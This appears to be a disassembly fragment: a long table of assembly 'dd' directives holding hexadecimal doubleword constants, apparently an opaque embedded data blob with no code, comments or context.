		dd 126D1020h, 532C65C2h, 88988E18h, 8C82C0D0h, 5D015147h
		dd 0CE9D267Eh, 15DDAAF0h, 29E2E463h, 4EA8A30h, 93BE2770h
		dd 0E00780AEh, 28918DDCh, 1918DF79h, 0CC99100h,	8306BF26h
		dd 7D48C8D6h, 62CB66C0h, 2C714E6Fh, 0CBF6A780h,	9923C400h
		dd 86629756h, 68A4A00Fh, 0E53E2D89h, 679478AAh,	804F0755h
		dd 7AF71982h, 0C31CCB73h, 0FE005ED4h, 0E70DC073h, 6F8A5E09h
		dd 0BBCA100Ch, 84D6C688h, 29675E20h, 0B02C660Ch, 0E6B5BAA3h
		dd 43B658C1h, 427CD72Ch, 9D0035F6h, 152D85ACh, 0C01025C0h
		dd 0FA6A9800h, 459355DDh, 0F633861Fh, 673BF583h, 62F80B9Eh
		dd 902FBDBAh, 0C04E20Bh, 2A4E02h, 5DC2B832h, 0B14EAA7h
		dd 803425E9h, 6F678868h, 0B56E390Ah, 780E8E3h, 0A0889583h
		dd 66A7012Ah, 94D078ADh, 0E8043C8Dh, 0B3E08C32h, 0E3379302h
		dd 906313AAh, 697349Ch,	0D1A2E6C1h, 0AD7AC020h,	0BC702CF9h
		dd 4008C22h, 34ECD24Ch,	76DD30Dh, 0BE83613Bh, 200F994Ah
		dd 0C809A224h, 46FA9670h, 0E105327Ch, 2910D0CCh, 0DADBCAC1h
		dd 2BA24033h, 4967930h,	725BF282h, 8300F038h, 3497C308h
		dd 870A808Ah, 51BD7424h, 705BBCAAh, 0DAF50172h,	40A45B46h
		dd 101DAD70h, 0B5802C11h, 0E1F7A60Fh, 3007BD22h, 6B711425h
		dd 6E7877EEh, 0ECEA7A09h, 939E81A6h, 0A03AC3F2h, 0D49CDD15h
		dd 294676h, 0B26284B9h,	0B9C97B52h, 183CD998h, 0B0CC09E8h
		dd 0A8B7EEF0h, 0C1D65080h, 3FBE573h, 4243B62Ch,	30AA4A95h
		dd 1807E489h, 1D0348EEh, 59A4BAE1h, 2B20FC41h, 603F8A29h
		dd 60193071h, 0A90F13EDh, 82D406B9h, 400BE1A2h,	76DBA54h
		dd 0B4F5C486h, 9407619Ch, 0D4D425ECh, 7C1C936Fh, 134019BBh
		dd 0AA7267B7h, 4030B06Eh, 0A618D7F0h, 0FA04042h, 4099DD20h
		dd 0A22C9B3Ah, 830002EFh, 96B7B148h, 2CF8E8AAh,	66CFB99h
		dd 3039C90Fh, 0B10D1530h, 79029D69h, 0E6222670h, 9900DE84h
		dd 19323A12h, 402EB93Eh, 0EF60B2EEh, 8D9D1CD9h,	0D4FD1CF7h
		dd 307EFE98h, 73D027A5h, 760F5A91h, 29E62884h, 0A852A9h
		dd 0BBD879AAh, 0AEAD97A6h, 3D4CC379h, 7BC6DC34h, 0F8C961B6h
		dd 0AA2A1495h, 406F00Eh, 48C2CE80h, 465EA0BEh, 0A6040E29h
		dd 9DAF678Dh, 0C0912F67h, 5465F22Ah, 27A26823h,	0F29ECF30h
		dd 0ADBF03EDh, 3A5B133Bh, 0DAC42102h, 8265A143h, 25576EF0h
		dd 50D4415Ch, 86EDC6A9h, 3B6513D0h, 89C80C39h, 8A18EC7Ah
		dd 0A93EE70Ch, 3CB8115Eh, 0DE104877h, 41E240E5h, 1840AD66h
		dd 0D4C00759h, 0AAF53610h, 783B19C4h, 1630423Ah, 0C700CC44h
		dd 0D72A5141h, 1122B10h, 0DE69FCCDh, 0C852BF81h, 261F97A3h
		dd 9C419F60h, 291622FEh, 0ACBACE4h, 1C873405h, 9139FB0h
		dd 0ED816204h, 64FA69C2h, 9450EA74h, 900EE0ECh,	0E5EEC3C4h
		dd 1C1F256Eh, 81C8FF42h, 44E0D21Ah, 0A400D0DAh,	0B08BAF2Bh
		dd 1C8418CAh, 40B88D9Bh, 653AD5E8h, 9A010AFDh, 0EA13411Ch
		dd 532AB0E0h, 6A2804B0h, 940F0568h, 0D19AAC31h,	0FA808105h
		dd 8E34013Ah, 1F0BAC69h, 70633233h, 3E07003h, 22BA8BC7h
		dd 54885229h, 120293ACh, 0E1B0499Bh, 0C018E8D6h, 3C9D4C87h
		dd 48330210h, 70A22DCh,	6C3A38ADh, 0A26F35FBh, 68252518h
		dd 165B2F8h, 0ADBDD535h, 80EAFB1Dh, 9C9584ACh, 68ADBB8h
		dd 0B29B6238h, 630D89E7h, 488026CAh, 33BC3C2Ch,	0DEA4248Ch
		dd 3EF800AFh, 0F5C8EE5Eh, 680C58B0h, 0D8D06AA9h, 8E4A17C3h
		dd 85844165h, 0A05A5296h, 3A0AF0E1h, 0B80F113Fh, 70E6A98Fh
		dd 1069F05h, 851C9BA3h,	44817090h, 0D720DBBEh, 4A63EE30h
		dd 0C8248BF0h, 9201C02Ah, 0F486BAAh, 20EB8FD4h,	70687C2Ah
		dd 0BE27289Ah, 6C3101D0h, 0C024F76Dh, 0F312D123h, 89B70DB8h
		dd 0F0DF68FCh, 404360C0h, 580FEAC8h, 0E07A730h,	46C65139h
		dd 0CD00612Eh, 1DD06F78h, 0B87A91h, 7984CE38h, 0D7A0FB39h
		dd 0A82F5E4Eh, 21003623h, 0D75AC3A3h, 4A502DEh,	0C69E83A1h
		dd 6F09C450h, 1F18DC2h,	0E7923908h, 6C239C7Dh, 77F09101h
		dd 9C337395h, 0F0895B80h, 793EAF1Ah, 6CC605C4h,	0D0D5A5AAh
		dd 30C834CBh, 7C30BCC7h, 407097Eh, 71B26CD5h, 0B2C4F32Ah
		dd 0AA423035h, 0F65ADE00h, 63110C0h, 409E7884h,	0C8719426h
		dd 3037DFE6h, 958E08CDh, 651965D8h, 8FDE08DBh, 6580B138h
		dd 28674C21h, 5C599900h, 64E0835Dh, 137934C2h, 589081D8h
		dd 9D60A58Dh, 8338119Ch, 0F0629073h, 14312109h,	58C5EA80h
		dd 0D0C25C77h, 706ED713h, 1698524h, 87EECA3Ah, 0AF836ABCh
		dd 0E3202C40h, 1FFF0F7Ah, 92A176DCh, 64361262h,	0B0B12CB4h
		dd 8D1828D1h, 0C4804F2Eh, 1E71E08h, 57B9E11Ah, 0CC810416h
		dd 65002AC6h, 48B409C2h, 10900D14h, 152D0EBCh, 10D470A7h
		dd 5E2CEABDh, 3EE90400h, 77CD28BBh, 4232189Fh, 730B00Dh
		dd 39B59812h, 0B8A060E7h, 4301976Dh, 893699FDh,	3A02EE9Eh
		dd 0DD112897h, 6F55E380h, 0B228A4F9h, 323FB02Fh, 69BC02Ah
		dd 0BFE0E286h, 0AC16E90Bh, 0BDE11E97h, 2CD52C20h, 8382F15h
		dd 9A02E753h, 0E283EA18h, 0B52868FFh, 141928C2h, 991B16A0h
		dd 0C5F44F4Eh, 18167186h, 6610BA15h, 9BE4008Ch,	6DB6E697h
		dd 866C267Ah, 0B71001F0h, 3A359A9Dh, 909BE820h,	47FA00ABh
		dd 0E5ED5467h, 4D045D12h, 87608A88h, 0A58D60A0h, 60D3E48Ch
		dd 0F2213242h, 9DC0FC6h, 56B68BF0h, 8F14090Ch, 6738C068h
		dd 0C90084E0h, 63A2959Ch, 28D4F44h, 76ACB807h, 0C7B583h
		dd 77602144h, 0BCEE3FB6h, 12F0040Ch, 88197834h,	0E25A5317h
		dd 0B0043001h, 9C2CEFBEh, 0B8C2BECh, 9A5C0871h,	53929402h
		dd 0C880F05h, 0F97F016Fh, 0C85BFDD3h, 5E96F84Bh, 73C19901h
		dd 84286319h, 64DC0DE4h, 4031383Fh, 940E3934h, 0A4FD0204h
		dd 88ADEE09h, 3CF790C0h, 6E84CC02h, 4A3EF0B5h, 71147988h
		dd 24E618D3h, 3F16B998h, 4EF66180h, 0FAA93054h,	971D8C92h
		dd 28971F5Ah, 21E49440h
		dd 0B61BCE0Fh, 74FCA85Ch, 11258038h, 0C70F81C0h, 5A4D24h
		dd 63B467Bh, 0BAAB49DDh, 2CCA6C13h, 30B63085h, 0B96118E0h
		dd 81C89905h, 0DC3EE59Ah, 69002823h, 0CB63F14h,	46622595h
		dd 1BC0B4E0h, 44AF8C4h,	27EC58ECh, 7738Ch, 2C16457Fh, 399995ADh
		dd 0EE208C98h, 9D56052Bh, 40D6B2AAh, 0C5E542A4h, 7E00E8F8h
		dd 2B2C4347h, 29EFEB0h,	1601B54h, 14D22267h, 0B221D400h
		dd 0D2E6F36Ch, 2AE1F475h, 99408BFh, 6D87637Ch, 40EDDC04h
		dd 95A5A688h, 0BD6C04C1h, 0C07D5430h, 73781F48h, 34CCA826h
		dd 8A000A10h, 9004E3E0h, 2C4B38BDh, 2988A08Eh, 0B8782DC3h
		dd 25BED95Eh, 706815B0h, 0D14D1CD7h, 6DF10488h,	70A59D07h
		dd 0DF544BDEh, 0F4819384h, 0E44848C9h, 29EE60B5h, 6C71C6F0h
		dd 0FAD7E62Ch, 1765A53Bh, 0CB3E9188h, 0F43843D5h, 13CFC48Ch
		dd 4724D1CAh, 5BE16BB0h, 0AC4058CAh, 70C6F94h, 8659A0Dh
		dd 70570029h, 0A9C85462h, 4C90DF8Ah, 0AAF0DE1Eh, 44E71313h
		dd 593830A7h, 0D80B7A46h, 202A5294h, 0BEA95688h, 3D68C9E2h
		dd 5B7094DBh, 4BDB095Dh, 4CC46113h, 0DD1EA910h,	1402D048h
		dd 0BA195B5Eh, 6899E4C4h, 30D1B821h, 51006C18h,	7F8E6A7Eh
		dd 4AA26EC4h, 22D08129h, 77C1802Eh, 6BB27857h, 0D20700CDh
		dd 0CBC80BA6h, 0BC9C5810h, 1502AE40h, 4D14BA59h, 3D065417h
		dd 0E9D19607h, 0FDC26D16h, 0F025C8C1h, 0E1B5618Dh, 7C40C621h
		dd 0D47C7EB0h, 0C6B42700h, 5A61622Dh, 98E0F27Ah, 0D75607E4h
		dd 40B3CD3Eh, 0E22D4E4Dh, 463D3Ah, 0B28B65E5h, 2F8ADBh
		dd 1A6DA9B7h, 0AE3DD716h, 0FEE72D01h, 79B42A22h, 7DE41CE4h
		dd 9C1F0399h, 6B1625B0h, 942722D0h, 21CC29CDh, 559C1801h
		dd 0E4D498Eh, 1166580h,	2809F949h, 8127970Dh, 0F14CD4CCh
		dd 3094C842h, 65162562h, 0B88B5785h, 256A4A00h,	78F04EA7h
		dd 0D62B7B2Fh, 9D013BE0h, 0A4542A18h, 0D440DA6Bh, 0E92EB7F5h
		dd 0BC0E83Ah, 8A4C5B13h, 465EAC76h, 3A2D0126h, 0AAD23C4Ch
		dd 0F94B1FC4h, 0B1A0423Bh, 3D05DFDAh, 232DE404h, 899E8B04h
		dd 8E9430D4h, 9049C65Bh, 0B55C849Dh, 880CCB34h,	4911C027h
		dd 9E13AFB2h, 8DE0E934h, 3E4F011Dh, 15AAF138h, 80888B1Fh
		dd 0F46802FFh, 98070278h, 6884FC89h, 80F0FC84h,	4563B255h
		dd 9D1E3881h, 0CF3DADBDh, 0BB30E926h, 10801926h, 0BCE6030Dh
		dd 9434846Bh, 56F8F8C9h, 9E81273Eh, 882AD024h, 34A01678h
		dd 0D838194Ah, 0A85DB1D5h, 87052B8Dh, 0A48144Ch, 0AC81586Dh
		dd 0A3840C9Dh, 0E3067860h, 3EFFBE00h, 60641D02h, 59F95995h
		dd 1827F168h, 3FA0018h,	0C3088E71h, 3B446C10h, 634BB48h
		dd 8063964Ah, 0D1061530h, 1C07029Bh, 40D294E5h,	0D111B861h
		dd 55275369h, 0D6BC8299h, 0BACD013Ah, 0AD6064A1h, 0FF65630Bh
		dd 70C0730Eh, 0E4A4B551h, 9E28BE00h, 1244C1BAh,	0F8320040h
		dd 145CB8FAh, 6F0E0762h, 0D6C96A6Dh, 809E130Dh,	63086E2Eh
		dd 0EAA2B561h, 99DCA321h, 0CF89093Fh, 0BC7979BAh, 80290C08h
		dd 972FE50h, 8F047FCDh,	714E548Bh, 0EFDCDCC0h, 88725Dh
		dd 939BDDF8h, 0D7643F30h, 94A08648h, 24C917ACh,	0A2F0509Dh
		dd 0B8879585h, 0B2E1E1BCh, 0AAB19C08h, 85349684h, 87895CA8h
		dd 9D293860h, 3EE88B0h,	56627316h, 8AE004B6h, 921682A6h
		dd 0E084662Ah, 802CACD5h, 0AE8139B6h, 311318E0h, 0A67ED604h
		dd 97C40BB5h, 80DF918Ch, 93142AAh, 48440671h, 60B40289h
		dd 1364C239h, 0F8882A85h, 748586A4h, 32603844h,	0A47F60E5h
		dd 0EDCA704h, 0D8A9BBE1h, 0F49C0713h, 81F70F98h, 76EFF639h
		dd 0B06EDAD1h, 0E21D4689h, 0BC4953E7h, 7A208439h, 767E608Ch
		dd 34BE0040h, 4474C2A7h, 943CD4FAh, 0C66B8A92h,	465C5C49h
		dd 64220025h, 344CE651h, 1DCB181h, 2CBE863Ah, 0CC82FA30h
		dd 0C70FCA32h, 0D90CB0E1h, 0F99A00AAh, 634E9350h, 0F1F4A6DBh
		dd 7B20CA09h, 0D1C471C9h, 9A91831h, 8A4BF2C2h, 0E5E6EC64h
		dd 0E064C182h, 0BC7C44D1h, 33C76B80h, 0D2723245h, 59EFA00h
		dd 0F4EC8956h, 8F880582h, 34F0EEFBh, 0A8B8A94Ch, 3E06020Dh
		dd 2F225210h, 6680FC76h, 5979FFD4h, 0CC6A03D9h,	0C7DCA07Ah
		dd 40BA69B8h, 960EA51Eh, 51A4DC2h, 5AE84167h, 905355C8h
		dd 486A20D4h, 99C2E50Bh, 0BF8C132Eh, 0B0E2186Ch, 1D09448Ch
		dd 3BB63312h, 6681A447h, 65278CCAh, 6027E458h, 1131F80h
		dd 0A3BB8E78h, 3C1BCCB6h, 8627013Ch, 0DE5281FCh, 0F02960AFh
		dd 27E42045h, 0FC3AFA61h, 0F8073946h, 0E88C0C41h, 0A280B90h
		dd 0DB48010Fh, 0B9B6F0C0h, 34037ADEh, 869633F5h, 35CD2DE9h
		dd 0D0607C4Dh, 10B22E05h, 0BD8AA81h, 78266295h,	886D5C6Ch
		dd 0EB6FF04h, 0BC44E8F6h, 98138CD6h, 6CA0DB87h,	2908C0E3h
		dd 3396B9F5h, 0CD32752Dh, 0E2A4E20Ch, 0BAA614E0h, 54329780h
		dd 4FB08886h, 88A0CECAh, 0B5D2C7C8h, 0F8EF03BEh, 0C2D47BADh
		dd 0C4B920h, 45782E95h,	808EAD94h, 8BC02988h, 7A4B7Ch
		dd 50135ACDh, 52970234h, 2F0F3627h, 3F5B84C4h, 35D5C842h
		dd 46745CF6h, 84010026h, 5B17293Dh, 0CCA20097h,	4AC37711h
		dd 70C03326h, 5770B1C4h, 0AEB91620h, 0F198447Fh, 0F25CF2EEh
		dd 7BC83032h, 820511E2h, 27AABE83h, 42F990B4h, 0B75B1A1Ah
		dd 0DC7C5C59h, 0EE2B807h, 9CBA4A95h, 8F60845h, 863C8BE0h
		dd 1CC5D800h, 3A936C94h, 5E1112BDh, 6B98F163h, 97D2C6Eh
		dd 8D34E3FEh, 0BC072012h, 5C2478D2h, 6B051311h,	0B0F1B26Fh
		dd 0B52D7780h, 8C6089C6h, 1262F92Ah, 5819CE8Dh,	0EEEDB09Ch
		dd 202E6EF5h, 0B805D623h, 9CAC5EF0h, 0CE2167CFh, 204DD575h
		dd 0B32DAED0h, 0E050CD3Fh, 0B755E0FDh, 9DB12002h, 5C6713AAh
		dd 86E1608Ch, 3A06FFC8h, 12240184h, 1A6D0F61h, 0E0C3C0CAh
		dd 94D05442h, 17678034h, 0B903821h, 27DB92C9h, 18482259h
		dd 6A74E92Ah, 0FBC55D02h, 5925A1BFh, 26660018h,	0AA61FD11h
		dd 0D7999C0Dh, 2868D006h, 1D8CD0ECh, 80F53E52h,	0EA2E345Dh
		dd 9B0B87B4h, 0F99A7790h, 3E8307A4h, 0E6AD60D6h, 8871CE4Bh
		dd 72728124h, 2ED32900h, 59BBD8Ah, 0E93CBA8Dh, 0E3B61275h
		dd 0E8B22F18h, 42D5968h, 60A49A95h, 9678C137h, 61780238h
		dd 742FFCD4h, 0ACB4FC28h, 63048C29h, 31AA6F35h,	0B06088A1h
		dd 0DA0788D6h, 0E2254Ch, 214FE0D2h, 385E6D3h, 9A42AFF1h
		dd 0C3F17822h, 7C2D0Eh,	6709494Ah, 0B03859DCh, 86D70900h
		dd 88B5B7Ah, 8EC0E44Dh,	4CBE75h, 0A1EED2F8h, 839B13CAh
		dd 0AAF0E106h, 10B8F585h, 41E7C525h, 22F2194h, 1855CD94h
		dd 1EC869B0h, 40F9C54Eh, 589B8153h, 1700209Dh, 8CC11DB5h
		dd 904A2C23h, 21F520CCh, 0FC4D2E2Eh, 16DD2B06h,	0B3C50378h
		dd 279F079Eh, 29305967h, 88123E58h, 344302Fh, 0FA739365h
		dd 0CCE0C902h, 23D985D7h, 0E094C26Dh, 0DA0083FCh, 0DC9BC479h
		dd 12011526h, 0F0E53113h, 0F00BC854h, 5B62CF4h,	8091EA65h
		dd 0D61652h, 0F395FDC8h, 9E833CA8h, 80C1BE5Bh, 8809BA6Dh
		dd 403A18h, 130FFD65h, 8A020329h, 0A9C8E7DBh, 1D45EFEh
		dd 8B341407h, 10B4732Ah, 161561E2h, 0D211344Bh,	61B2083Ch
		dd 0A188390Dh, 1E8132C2h, 5C58130Ch, 6CC1424h, 5A3A9F19h
		dd 309501Dh, 2A729E82h,	58204814h, 63300DEAh, 34D87992h
		dd 671909B4h, 1C79B5ADh, 7A0A99Fh, 0AFE387ACh, 89DCBA0h
		dd 3289C911h
		dd 1D319300h, 3B4A9E53h, 0CF4AB845h, 68B68C16h,	29326BE0h
		dd 81A74900h, 6D95BB97h, 762094EEh, 20242246h, 63EC05C1h
		dd 0B0EA85F7h, 2D2EB0E8h, 0DB0168DEh, 0A30111EEh, 33B8382Ch
		dd 9D77008Ch, 32A4AD43h, 6816ED6Ch, 388B35CAh, 71C03E88h
		dd 1B1335h, 700F89D1h, 0BE2BF2E2h, 0C7B01E65h, 3C6F4C16h
		dd 0B19A007Fh, 8ED57CF9h, 0FD0BFFB4h, 68EDE4B3h, 9B35DE5Ch
		dd 2143718Ch, 106B2A20h, 756DFE00h, 19307CA2h, 0CEFF373Dh
		dd 8EC1C481h, 0A264642Fh, 303EB250h, 0EA07C421h, 2A61FEEFh
		dd 0D0948FA2h, 479530h,	3B602564h, 170565D0h, 66B9C8F7h
		dd 0AC582CF8h, 8C24E8h,	0C81957D5h, 407E945Eh, 0CD608EF4h
		dd 0FF6D6A50h, 0E5231B83h, 4AC708FEh, 9C19B2D8h, 2779D871h
		dd 95006818h, 81B2E913h, 2D32948Dh, 8C491986h, 64282FE1h
		dd 2AE48797h, 95142760h, 0E4AF1B78h, 40F06Bh, 63CE077Dh
		dd 64132321h, 0F424A4B1h, 3AE0C608h, 78046288h,	0C0D8CC00h
		dd 948D3406h, 6F25BA24h, 9CF41C90h, 0F02C9297h,	0E16B6B18h
		dd 22F7C005h, 70043E10h, 80A09B52h, 21A2E57Fh, 88D49C18h
		dd 0E3E3EB2h, 90258C34h, 505B151Fh, 459D2508h, 6030E418h
		dd 1E1C03Fh, 0AB8320A9h, 3C75CA6Eh, 0AEAC0010h,	8E2FBE1Eh
		dd 66A4027Dh, 2239069Ah, 0E08070DCh, 71281D3Ch,	0AB050064h
		dd 65F7D116h, 3400884Eh, 379CC29Fh, 525810C5h, 8112A8E8h
		dd 6DA4F406h, 3895CA2Eh, 4C04AD96h, 400B341Ah, 2898F28Eh
		dd 0B001C9Dh, 6DA04C8Ah, 18C4597h, 0DB95049Ah, 0C68D9F59h
		dd 7A082474h, 0F40C1231h, 23E80470h, 28B416E8h,	0AA05A087h
		dd 296BB910h, 8C83544Ch, 74860E97h, 0E7ABA11Dh,	0BA002CC4h
		dd 43CCDA96h, 0B17C3Eh,	0F52E2362h, 0C44EC0B7h,	0DD9ED704h
		dd 0DCC8732Ch, 96D4E33Ah, 0C47107C7h, 0A0F06681h, 0BCE162ADh
		dd 78F024B7h, 6402E8A3h, 3552A6D7h, 85CAFCCBh, 3D413056h
		dd 0BFC481D4h, 41ED6016h, 0A714B88Dh, 482CC12Eh, 0C87B280Bh
		dd 5C3620D4h, 4C49407Ch, 88CCCE5Ah, 6A44C025h, 495EC20Eh
		dd 30F6A004h, 0F7E00016h, 839EE59Fh, 0A8D7F9EEh, 0DC23483Ah
		dd 148D8900h, 176D5F4Dh, 42F45DA2h, 3F6696ACh, 0DAD97451h
		dd 12261B18h, 5B03ED4Eh, 0EA91040Fh, 7B88EA38h,	6CBB78D0h
		dd 0CEF8EC3Dh, 6F0FBC8Ch, 0E9A04937h, 0C6F9A1ABh, 0B414009h
		dd 0B4E87025h, 3E465E54h, 0BBBC781Fh, 0F3B01693h, 0B15F0050h
		dd 0BC2B4F06h, 0D02A4BC0h, 0B689C8BCh, 32B4809Dh, 0FA5B4927h
		dd 6E393866h, 1BE82109h, 81C0C4CDh, 0EBC8C23Ah,	48260CFCh
		dd 0DCD050B9h, 0B20F910h, 0D0926A7Ah, 2243EC88h, 99002F25h
		dd 9BBDA74h, 71A43Eh, 20F4EC22h, 4E6180B1h, 2578420Bh
		dd 0AB104AADh, 816437F0h, 0CA0BEF7h, 665C203Bh,	97F13E40h
		dd 34ADB010h, 4470C0BBh, 2EB3B042h, 38F5840h, 360EC917h
		dd 0EF6DA100h, 883C35CDh, 0BC9A099Eh, 0E09A96CFh, 0B089485Ch
		dd 973C5A89h, 54678C84h, 8C36E84Ch, 0B5647000h,	0E88A8F95h
		dd 838D0916h, 30DADE9Eh, 0E66D3844h, 3DD7122Eh,	0C838E24Eh
		dd 94085871h, 58280997h, 271D1848h, 2E98CA15h, 78741AFEh
		dd 0C6620B25h, 6A323338h, 2140F229h, 0CC646218h, 6E82B449h
		dd 990D49Fh, 0E4820CBBh, 9CC58DDBh, 1760D3E4h, 1C004420h
		dd 1438899Ch, 2C56C167h, 0A52476B9h, 6400A0E4h,	0D0DD214Eh
		dd 0F5FB5Eh, 0F40F7765h, 8005E841h, 0E9C06F09h,	42607160h
		dd 74E70115h, 87602CC4h, 0E21E0611h, 0C06DAA6Eh, 979CD688h
		dd 652A48B9h, 0D86E7E60h, 3EDB0177h, 153970FCh,	0E414253Bh
		dd 1E005520h, 96C3381Bh, 0DB5EC1h, 0AD472484h, 6C99054Dh
		dd 90E9C224h, 9CA37792h, 2A93B79h, 464AF041h, 3BD40B58h
		dd 0C6ABA5BDh, 386D976Ch, 0C922F5C0h, 4D8900BFh, 405C2D3h
		dd 6CFA089Dh, 0FC728701h, 3EE41D0Ch, 6F94BC40h,	1614F8ACh
		dd 80D0732h, 978001ACh,	35A3EEA2h, 0B69C0964h, 3C65F61Eh
		dd 9E60DCE4h, 1F12FAECh, 14F3F384h, 0E3F0C212h,	76AE0898h
		dd 86E1532Eh, 84183C82h, 0E21210D5h, 3333F2BCh,	42CE080h
		dd 9D2E3A00h, 88D4C827h, 8CB60B65h, 9CEFE7D7h, 0B6C88640h
		dd 4C200B6Fh, 208B76ECh, 4E4C8977h, 0C478A584h,	89756025h
		dd 0A82805BBh, 0B617C8B0h, 66C6E084h, 8541029Ch, 0FA7AB603h
		dd 0D2E034EDh, 7FBA4F14h, 94C4098Eh, 0C4706319h, 915C9DB5h
		dd 1DEB803Eh, 0B9222A99h, 0B0F3058Ch, 83CC083Bh, 11349769h
		dd 13608126h, 9882F829h, 4E81B684h, 0C21C805Fh,	25894086h
		dd 70CECDFAh, 0C0C04D95h, 1FCA3D21h, 85FB9502h,	948BE9Eh
		dd 0C999882h, 49409307h, 1DA840D0h, 0A5839B87h,	0C40E9064h
		dd 618FBC8Ch, 33EAFBC6h, 0F07E3FD9h, 1000E1FBh,	846A8820h
		dd 623D759Eh, 49C54094h, 3879C8F9h, 0A807F218h,	146E8234h
		dd 1067F3A0h, 502512B2h, 2C58F39Ah, 0DC248Ah, 0DC1F69B8h
		dd 20E144B2h, 152AFE74h, 900FC39h, 0E5691B28h, 18350268h
		dd 0D0700E75h, 309416BEh, 0B0049101h, 7068C512h, 8C3EECh
		dd 9988146Ch, 0AF17DA4Eh, 4488304Fh, 0ECF000F1h, 0D55DF6C4h
		dd 800B315h, 7CFBAF5Ah,	74139AAAh, 0CEDE0531h, 0D1F01DB2h
		dd 2F653D78h, 24684872h, 0E630824Eh, 97B02009h,	5CE89825h
		dd 1625C830h, 548A5CA1h, 0AF48C059h, 0F6FAA105h, 0D8D3A037h
		dd 0B08DE8ABh, 0BA7C125Ch, 4FD4E7FBh, 9187009Ah, 553730F3h
		dd 0C408EFC0h, 92F49C2h, 0F84A9407h, 0CECFBC81h, 0E4352E47h
		dd 0CE064F6h, 0C41486F1h, 9660FAE3h, 494AA804h,	255124A4h
		dd 24B7C817h, 0DA56E87h, 2058F306h, 0D080247Eh,	8812D19h
		dd 1874AE02h, 26467Ch, 0E37D7318h, 48838DF8h, 0A74E8896h
		dd 446A024h, 548A4C34h,	10329099h, 3DAC1735h, 9007C310h
		dd 0D071DC3Eh, 67772055h, 0FFBE8400h, 7FC78714h, 41654F13h
		dd 3AD6CDB0h, 0B2508C26h, 0F7B71E2h, 0D462791Eh, 0FE16D882h
		dd 0F9E98780h, 25B78634h, 0AF8597CCh, 0CF784490h, 23AE3296h
		dd 8474E4E0h, 0C03A40EFh, 11622Eh, 0C5D233BDh, 764D8FDh
		dd 16F08307h, 440CF4Dh,	0C0B2810Ah, 0ACFE6D49h,	1A971D97h
		dd 11E89DF0h, 0E9458321h, 3CAD0B4h, 52A3A5Fh, 0B1B68784h
		dd 8558901Ah, 0BD3EF3D2h, 97AD0036h, 1021F1A3h,	0E56D096Ah
		dd 681735BAh, 41802791h, 0E6D236E5h, 0D1205C00h, 644AC88Dh
		dd 0E05653F1h, 800D421Fh, 82D6E92Fh, 74FC6F8Ah,	0CCEC94EEh
		dd 0C64592Eh, 0C40A2406h, 89C80A88h, 4088DCA6h,	0B82EA94Eh
		dd 0BA88A4BEh, 1F9C2065h, 27259FC0h, 4AC0B0CDh,	4B7A2B15h
		dd 864CC805h, 2878D802h, 70736E94h, 5EB09614h, 0D20F3C46h
		dd 25DE8921h, 1D7080F3h, 0E7F20961h, 507C55BAh,	0D1AC59A7h
		dd 0C918D3h, 6C3BD4A5h,	4BC19778h, 0EEB4AA50h, 91B2E740h
		dd 696B00C8h, 31D2A75h,	0E1DDCC00h, 0CB0D3AF4h,	0AF13000Eh
		dd 0C95F3C92h, 724B066Dh, 319D54CCh, 14991525h,	0CECBE1EAh
		dd 10B7A760h, 0B9B28702h, 0F42C3943h, 880BDE70h, 26A6662h
		dd 2F0288h, 891DEEF1h, 0E72BE225h, 0FC961064h, 0FE008C21h
		dd 2D3B886Dh, 125C4089h, 0AC83343Dh, 0A0E3C744h, 17187489h
		dd 1B77026Bh, 0CC7483D7h, 64200C17h, 0B12C99h, 2BF09734h
		dd 24E1A8D2h, 193D7979h, 69420F02h, 0C0C44F1Dh,	81C26D64h
		dd 88B89F17h, 1120A26Fh, 9AB6E625h, 0CC90BF6Ch,	0D91FBE93h
		dd 28E69F12h, 3244676h
		dd 3CA3882Ah, 4E149806h, 0CB3E24B9h, 80B72F14h,	6D948901h
		dd 8D2B7B6Bh, 88C80ED4h, 1A9C322h, 9A631BC0h, 0BF11EE02h
		dd 202C258Bh, 742B7B80h, 46772600h, 0F8F824Fh, 147F0708h
		dd 0F0727D04h, 6EE1836Dh, 38773972h, 79A11825h,	8599840Ch
		dd 3CF4CCF6h, 0FA27A688h, 543E8C9h, 0D9BAF130h,	9A18D10Eh
		dd 0F60C12DFh, 0C3FA8E9Ch, 9C5CCC60h, 65022852h, 34D73922h
		dd 4158D487h, 20AD048Ah, 0CBECF524h, 0D79E9502h, 5F2F5286h
		dd 4AC05490h, 6060B625h, 861D62E8h, 0F0342740h,	0BA812E6Bh
		dd 8D068024h, 8EF84E9Bh, 7CC3164Fh, 397D07h, 14A5C8D4h
		dd 9C34EB1Fh, 0A26CD304h, 66EF20CDh, 180B98FCh,	22694D4h
		dd 0E16628h, 2B23297h, 0D4AC90D2h, 0A1A26D09h, 0E8902870h
		dd 0D5051477h, 251FE939h, 0EA402807h, 0E8912C1h, 0C0BC9448h
		dd 3D3A394Eh, 0EE04987Fh, 781F9EEFh, 3E8EF481h,	85F5CD00h
		dd 23FEAE10h, 412D0C18h, 17743B0Dh, 79309C00h, 0A7CEEBC8h
		dd 8B923B06h, 8D9BA180h, 77840AECh, 516970Bh, 95E41024h
		dd 916E4B4Ah, 3E8681CCh, 279F5802h, 0E5EC843Ch,	8B4E3540h
		dd 9B0CE7DBh, 5893C997h, 0A4C725B8h, 3F44087Ah,	0D0924B07h
		dd 0A5AAEF1Ch, 60251C40h, 53F77950h, 0B98839BEh, 0C2D04032h
		dd 0C092644Bh, 4C302B45h, 72702A95h, 0A0E1B080h, 2E87C01Ch
		dd 61608234h, 1DAA2Ah, 96BAB140h, 6F3E3FF0h, 90F69118h
		dd 762DA685h, 0D1E40F20h, 4291B204h, 70D4C609h,	4827A4Ah
		dd 0D1047997h, 1AC41921h, 4DB70120h, 0A5367399h, 51703025h
		dd 9E891461h, 4052352h,	0C8120124h, 5641767Ch, 2782B024h
		dd 30F135B3h, 0B718D0D9h, 3C56DB07h, 0D8E07515h, 1E36C8Fh
		dd 9BF3BA8Bh, 60961193h, 0DF40068Ch, 0CB8D4FDEh, 0C0DD88ACh
		dd 0C907258h, 965CA509h, 5348423h, 0B35A44ACh, 302BB2C8h
		dd 2C011DDCh, 9E6B9750h, 1D3F3E6Ch, 0D0C5654Ch,	59305925h
		dd 745A183Fh, 0B6C30515h, 1C9A2B9h, 66530F80h, 0D260830Eh
		dd 1616DC1Bh, 0C264EA58h, 0B7D5E8C8h, 3A31608h,	480EE385h
		dd 9B361900h, 3EE538D9h, 6FB31667h, 88B08E54h, 42A1C0D0h
		dd 277F770h, 2624B301h,	10C9B2EFh, 0EA50D92Bh, 0E2007C72h
